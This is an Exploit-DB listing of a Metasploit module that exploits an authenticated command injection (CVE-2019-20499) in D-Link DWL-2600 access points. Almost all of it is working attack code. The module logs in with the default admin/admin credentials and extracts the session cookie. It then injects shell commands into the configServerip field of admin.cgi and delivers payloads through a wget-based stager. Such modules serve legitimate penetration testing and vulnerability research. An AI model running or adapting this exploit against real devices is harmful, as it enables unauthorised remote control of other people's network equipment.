DLINK DWL-2600 - Authenticated Remote Command Injection (Metasploit)

EDB-ID:

48274




Platform:

Hardware

Date:

2020-03-31


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'DLINK DWL-2600 Authenticated Remote Command Injection',
      'Description' => %q{
          Some DLINK Access Points are vulnerable to an authenticated OS command injection.
          Default credentials for the web interface are admin/admin.
      },
      'Author'      =>
        [
          'RAKI BEN HAMOUDA', # Vulnerability discovery and original research
          'Nick Starke' # Metasploit Module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2019-20499' ],
          [ 'EDB', '46841' ]
        ],
      'DisclosureDate' => 'May 15 2019',
      'Privileged'     => true,
      'Platform'       => %w{ linux unix },
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars' => "\x00"
        },
      'CmdStagerFlavor' => :wget,
      'Targets'        =>
        [
          [ 'CMD',
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
          [ 'Linux mips Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DefaultTarget'  => 1
      ))

    register_options(
      [
        OptString.new('HttpUsername', [ true, 'The username to authenticate as', 'admin' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'admin' ]),
        OptString.new('TARGETURI', [ true, 'Base path to the Dlink web interface', '/' ])
      ])
  end

  def execute_command(cmd, opts={})
    bogus = Rex::Text.rand_text_alpha(rand(10))

    post_data = Rex::MIME::Message.new
    post_data.add_part("up", nil, nil, "form-data; name=\"optprotocol\"")
    post_data.add_part(bogus, nil, nil, "form-data; name=\"configRestore\"")
    post_data.add_part("; #{cmd} ;", nil, nil, "form-data; name=\"configServerip\"")

    print_status("Sending CGI payload using token: #{@token}") # Note token is an instance variable now
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'admin.cgi'),
      'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => "sessionHTTP=#{@token};",
      'data'   => post_data.to_s,
      'query'  => 'action=config_restore'
    })

    unless res || res.code != 200
      fail_with(Failure::UnexpectedReply, "Command wasn't executed, aborting!")
    end

  rescue ::Rex::ConnectionError
    vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
    return
  end

  def exploit
    user = datastore['HttpUsername']
    pass = datastore['HttpPassword']
    rhost = datastore['RHOST']
    rport = datastore['RPORT']

    print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, '/admin.cgi'),
      'method' => 'POST',
      'vars_post'   => {
        'i_username' => user,
        'i_password' => pass,
        'login'      => 'Logon'
      }
    })

    unless res && res.code != 404
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end

    unless [200, 301, 302].include?(res.code)
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
    end

    print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")

    delstart = 'var cookieValue = "'
    tokenoffset = res.body.index(delstart) + delstart.size
    endoffset = res.body.index('";', tokenoffset)
    @token = res.body[tokenoffset, endoffset - tokenoffset]

    if @token.empty?
      fail_with(Failure::NoAccess, "#{peer} - No Auth token received")
    end

    print_good("#{peer} - Received Auth token: #{@token}")
    if target.name =~ /CMD/
      unless datastore['CMD']
        fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
      end
      execute_command(payload.encoded)
    else
      execute_cmdstager(linemax: 100, noconcat: true)
    end
  end
end